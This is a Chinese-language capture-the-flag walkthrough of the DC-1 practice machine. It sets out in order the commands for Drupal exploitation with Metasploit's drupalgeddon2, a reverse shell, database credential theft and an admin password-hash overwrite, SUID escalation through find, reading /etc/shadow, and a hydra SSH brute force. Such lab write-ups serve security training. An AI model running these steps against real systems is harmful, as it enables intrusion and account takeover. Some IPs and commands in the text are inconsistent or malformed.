准备kali(192.168.61.132)和DC-1(未知)
kali与DC-1都使用NAT连接
DC-1靶机 下载地址:
链接:https://pan.baidu.com/s/1DQalyjzWWZI-TS0-ZILNRQ?pwd=55yy
提取码:55yy
使用kali扫描同网段主机
nmap 192.168.61.0/24
可以看到DC-1的IP地址为192.168.61.133,端口号为80端口。我们在网站上进行80端口访问
图中可以看到, 管理系统是由Drupal组成,且可以对它进行数据库爆破
也可以用命令进行查看框架
whatweb -v 192.168.17.129
然后我们打开MSFconsole进行扫描Drupal的漏洞
msfconsole
search drupal
进入第二个漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
然后使用show options 命令进行查看需要更改的参数
进行shell反弹
使用以下命令获得整个用户的权限
python -c "import pty;pty.spawn('/bin/bash')"
然后使用 ls 命令查看此路径下所存在的文件,发现有flag1.txt的文件,用cat命令查看内容
flag1.txt的内容显示:
Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件,你也一样
得到提示之后我们找他的配置文件
drupal的配置文件存放在/var/www/sites/default下查看settings.php,进入查看
找到flag2,并提示:暴力攻击和字典攻击并不是获得访问权限的唯一方法(您将需要访问权限)
上图可以看出,除了提示之外,还有一个数据库的信息,我们进行对数据库爆破
mysql -u dbuser -p
查看基本信息
show databases;
use drupaldb;
查看数据库中的表
show tables;
在表中查看用户信息
select * from users;
这样看着不太规矩, 也可以使用以下代码。进行查看(竖着查看)
select * from users\G;
接着我们在另开一个msfconsole窗口,根据之前所做的进入到反弹shell,获得整个用户权限
然后我们使用 drupal 自带生成加密hash的脚本,将admin的密码进行替换
php ./scripts/password-hash.sh 123
将hash密码复制, 接着我们返回到第一个窗口,进行对admin的密码替换
update users set pass="$S$D10sZOksVmdzZU4CMOEOtvqEVL1sNHd6L/v7EBUZaKkJ4Hw92P.U" where name="admin";
修改成功,此时我们到网站上进行登录
然后我们点击Dashboard模块找到flag3
在flag3的提示中显示需要find提权,使用-exec命令找出相应的内容
提示我们用find命令查找更多特殊的文件
find / -name "*flag*"
使用find命令可以找到在 home路径下有flag4的文件以及在root目录下有thefinalflag的文件
我们先进入到home路径下,查看flag4的文件
提示所说需要我们用相同的方法在目录中查找或访问标志,也许并没那么容易
在查看root路径下的flag文件时发现没有权限,这时我们需要进行root提权,按权限查找文件
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
以上两条命令的作用是一样的
#查找具有root权限的SUID的文件,不同系统适用不同的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \
-perm: 按照权限查找
-type: 查块设备d、目录d、字符设备c、管道c、管道p、符号链接l、普通文件f
-u=s: 拥有者是s权限
S权限:设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份,典型的文件是passwd。如果一般用户执行该文件,则在执行过程中,该文件可以获得root权限,从而可以更改用户的密码
find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)
然后我们使用find 确认是否有root权限运行
ls -lh /usr/bin/find
确定是find是root权限后,用find提权,用whoami显示登录名为root,这时已经提权成功
我们进入root,查看root下的文件
提权后再使用cat /etc/shadow
查看(之前没有权限),发现和passwd一样也存在flag4,即flag4是靶机用户且有密码。
使用/etc/shadow 查看用户口令,发现 flag4 用户口令存在加密的登录口令
之前扫描得知靶机DC-1的22端口(ssh)开放,使用hydra暴力破解
kali 自带字典目录 在/usr/share/wordlists
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.61.133 ssh
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.3.36 ssh
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.3.36
# -l:指定破解用户;-P:指定密码字典;ssh:使用协议
使用hydra破解得知 DC-1靶机的账号密码为 flag4和orange
然后进入DC-1靶机,输入账号密码进行登录
使用ls查看,发现只有一个flag4的文件,cat查看与之前在home路径下的内容相同
DC-1靶机完结!撒花*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。